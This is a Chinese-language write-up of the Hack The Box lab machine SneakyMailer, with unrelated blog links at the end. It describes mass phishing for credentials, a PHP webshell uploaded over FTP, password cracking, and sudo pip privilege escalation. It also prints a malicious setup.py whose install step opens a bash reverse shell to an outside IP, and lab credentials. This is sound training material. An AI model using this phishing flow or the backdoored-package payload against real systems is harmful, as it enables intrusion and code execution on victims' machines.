目录

简介

信息收集

子域名枚举

邮件钓鱼

上传WebShell

权限提升

Developer用户Shell

Low用户Shell

Root用户Shell

总结


简介

这是一台很有意思的靶机,比较像真实的环境,没有什么通用的漏洞,只是展现了人们在日常生活中容易犯的错误,靶机作者大概想告诉我们人性的弱点吧。首先通过网页收集到的邮件地址进行邮件钓鱼攻击,然后利用获得的邮箱密码登录邮箱查看邮件,在邮件中发现开发者用户名和密码,然后使用该密码登录FTP服务并上传木马到网站,从而获得网站服务权限。在网站目录中发现pypiserver用户pypi的凭据,使用字典破解后利用该用户名和密码部署包含木马的python模块包,当用户low下载并安装该模块包时获得用户low的shell,最后利用服务器程序权限滥用成功提升至root权限。

信息收集

使用nmap快速扫描目标主机端口和服务信息,发现开启21(vsftpd 3.0.3),22(OpenSSH 7.9p1),25(Postfix smtpd),80(nginx 1.14.2),143(Courier Imapd),993(Courier SSL Imapd),8080(nginx 1.14.2)端口,且操作系统为Debian 10,如图:

80端口的http-title显示不允许重定向到http://sneakycorp.htb,因此将该域名添加到hosts文件,再次访问,如图:

查看网页源码,发现提示需要添加注册链接到侧边栏,如图:

打开注册页面,如图:

输入信息注册账户,提交之后页面没有变化,然后连接smtp服务验证发现邮箱不存在,如图:

访问8080端口只显示nginx默认页,查看左侧team栏发现许多电子邮件地址,如图:

然后将邮箱地址提取到本地,如图:

子域名枚举

将邮箱域名sneakymailer.htb添加到/etc/hosts文件,访问发现页面跳转到sneakycorp.htb,访问8080端口仍然是nginx默认页,然后刷新页面,拦截数据包,修改Host头重放发现页面返回301并重定向到sneakycorp.htb,如图:

说明所有不存在的域名可能都是301代码,使用wfuzz枚举子域名,如图:

然后将dev.sneakycorp.htb添加到hosts文件并访问,左侧多了注册栏,如图:

尝试注册仍然失败,访问8080端口,仍然是nginx默认页。尝试暴力破解邮箱密码未成功,然后尝试发送邮件成功,如图:

邮件钓鱼

然后尝试使用社工工具setools发送带链接的邮件。在本地开启80端口监听,然后启动setools,选择群发邮件攻击,如图:

然后选择群发,如图:

接着配置收件人邮箱地址、发件人邮箱地址、邮件发送服务器、钓鱼邮件内容等信息,如图:

配置结束后自动发送邮件。等待一段时间后80端口成功监听到POST请确,如图:

将数据经过URL解码后如下:

firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

数据中包含邮箱地址和密码,但无法使用该用户名和密码登录FTP和SSH。目标主机没有web邮箱客户端,kali也没自带邮件客户端,推荐使用Thunderbird和Evolution,因此我这里安装了Evolution,在接收中勾选“将远程邮件同步到本地”,如图:

收件箱没有邮件,但在Sent Items中第一封邮件中发现用户名和密码,如图:

第二封邮件告诉low需要安装、测试并删除所有的python模块,如图:

上传WebShell

使用developer的密码无法登录SSH,但是可以登录FTP,如图:

查看文件发现是网站目录文件,应该是dev.sneakycorp.htb网站的目录,如图:

使用PUT命令上传PHP木马,如图:

在本地开启监听,尝试访问http://dev.sneakycorp.htb/reverse.php,如图:

成功获得WebShell,且内核版本为4.19.0。需要注意的是文件不到一分钟就被删除了,所以一定要快。

权限提升

查看/etc/passwd文件发现普通用户low和developer,如图:

Developer用户Shell

尝试使用获取的密码登录到developer用户shell(当前shell不能访问tty,所以需要切换到能访问tty的shell),如图:

在/home目录下未发现developer目录,在low目录中发现user.txt,但是没有权限读取,如图:

尝试使用CVE-2019-13272提权不成功。然后查看网站目录,在/var/www/html下只有默认页,在/var/www下发现pypi.sneakycorp.htb,如图:

查看目录下的文件发现.htpasswd文件中有一个hash值,pachages目录没有权限读取,venv目录和/home/venv目录一样,如图:

使用john破解得到密码,如图:

将pypi.sneakycorp.htb添加到hosts文件,访问发现跳转到了sneakycorp.htb,访问8080端口却不再是nginx默认页,而是pypiserver页面,如图:

点击here查看已上传的模块包,如图:

然后输入破解得到的用户名和密码成功登录,但没有一个模块包,如图:

使用提权辅助脚本lse.sh发现其他用户的邮件,如图:

但是都重定向到了/dev/null,如图:

Low用户Shell

此时回想起第二封邮件告诉low要安装、测试并删除python模块包,这说明我们可以上传一个带有木马的python模块包,当用户low安装测试的时候我们就获得用户low的shell了。查看pypiserver官方文档发现必须具有两个文件——.pypirc和setup.py。根据文档格式构造.pypirc文件内容如下:

[distutils]
index-servers=local[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

setup.py文件内容如下:

import setuptools
import os
os.system("echo 'bash -i >&/dev/tcp/10.10.14.33/8443 0>&1' | /bin/bash")setuptools.setup(name='test',version='1.0',author='nhpt',license='MIT',
)

然后执行上传命令:python3 setup.py sdist register -r local upload -r local,如图:

上传成功后可在模块包目录查看到,如图:

然后立即在本地开启监听,几秒后再次刷新页面发现文件已被删除,成功获得用户low反弹回的shell,如图:

需要注意的是,一定要在上传模块包后再开启监听,且需要在文件被删除之前。因为在上传的时候本机也会执行代码,所以先于上传开启监听会得到自己本地的shell,而用户low测试完毕就会删除文件,所以也不能太晚。

Root用户Shell

直接使用lse.sh提权辅助程序枚举,发现不需要密码的sudo命令,如图:

在这里找到了pip的提权方法,直接使用该命令提权发现不成功,切换到python伪终端提权成功,如图:

总结

该靶机涉及的知识比较多,对于没有发布过python模块的人来说,从developer用户的shell移动到low用户的shell需要花些时间。想象靶机面前正坐着一个人会使渗透更有趣,攻破目标主机不仅可以通过机器自身的脆弱性,还可以从人性的弱点入手。做完靶机赶紧看了看自己安装的模块有没有包含木马代码。

Hack The Box——SneakyMailer相关推荐

  1. 【Hack The Box】linux练习-- SneakyMailer

    HTB 学习笔记 [Hack The Box]linux练习-- SneakyMailer

  2. Hack The Box - Access Writeup

    第一次尝试Hack The Box,在难度较低的Access上,前后花了有两天的时间,汗.收获还是很大,在此记录一下,以便后阅. 首先是获取user,通过nmap扫描,可以发现目标主机开了三个端口21 ...

  3. Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权

    Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...

  4. 【Hack The Box】linux练习-- Blunder

    HTB 学习笔记 [Hack The Box]linux练习-- Blunder

  5. Hack The Box - Catch 利用let chat API查询信息,Cachet配置泄露漏洞获取ssh登录密码,apk代码注入漏洞利用获取root权限

    Hack The Box-Catch Hack The Box开始使用流程看这篇 文章目录 Hack The Box-Catch 整体思路 1.Nmap扫描 2.apk文件信息收集 3.lets ch ...

  6. 【Hack The Box】windows练习-- Silo

    HTB 学习笔记 [Hack The Box]windows练习-- Silo

  7. 【Hack The Box】linux练习-- Ophiuchi

    HTB 学习笔记 [Hack The Box]linux练习-- Ophiuchi

  8. 【Hack The Box】linux练习-- Doctor

    HTB 学习笔记 [Hack The Box]linux练习-- Doctor

  9. 【Hack The Box】linux练习-- Tabby

    HTB 学习笔记 [Hack The Box]linux练习-- Tabby

最新文章

  1. 算法代码中的循环矩阵在哪体现_循环移位可视化理解
  2. 华为鸿蒙去哪里更新,华为鸿蒙OS正式尝鲜版名单更新,升级?还是不升级?
  3. 【解决VMWare中新建虚拟机不支持centos64位的方法】
  4. java.lang.IllegalStateException: Failed to read Class-Path attribute from manifest of jar file:/XXX
  5. 简单直接的方法解析JSON数据
  6. php imap配置,php中的自定义IMAP命令
  7. Android开发者指南(4) —— Application Fundamentals(二)
  8. 第三次学JAVA再学不好就吃翔(part34)--多态的成员访问
  9. Xamarin效果第十八篇之GIS中复合型Mark
  10. Linux创建逻辑卷
  11. oracle是CLOB类型mybatis,Mybatis之Oracle增删查改示例(含Date、Clob数据类型操作)
  12. JAVA调用接口简单封装,Mvp+Retrofit2+RxJava2 项目中使用的简洁封装
  13. python multiprocessing 批量下载图片+tqdm
  14. Zabbix高可用,实现zabbix的无缝切换,无故障时间
  15. 简单介绍CUDA中loop unrolling(循环展开)技术
  16. 两边双虚线是什么意思_【宠物百科】哈士奇双血统是什么意思?
  17. opengl——贴图
  18. 何香伊的脸儿,战痘经历
  19. Docker学习之二------基础命令(镜像、容器)
  20. 蓬莱小课:零基础应届生如何转行学数据分析师?

热门文章

  1. AsyncTask 用法
  2. m基于EM参数估计的Gamma随机过程电池剩余寿命预测matlab仿真
  3. linux防火墙关闭与启动命令
  4. Linux防火墙操作命令,开放或关闭端口
  5. 如何解决Tomcat下中文乱码问题?
  6. 《MATLAB智能算法30个案例》:第19章 基于模拟退火算法的TSP算法
  7. 降维算法-LDA线性判别分析实例
  8. overlay的设计
  9. 一文带你快速入门【哈希表】
  10. 七天学习微信小程序开发(一)—— 学习笔记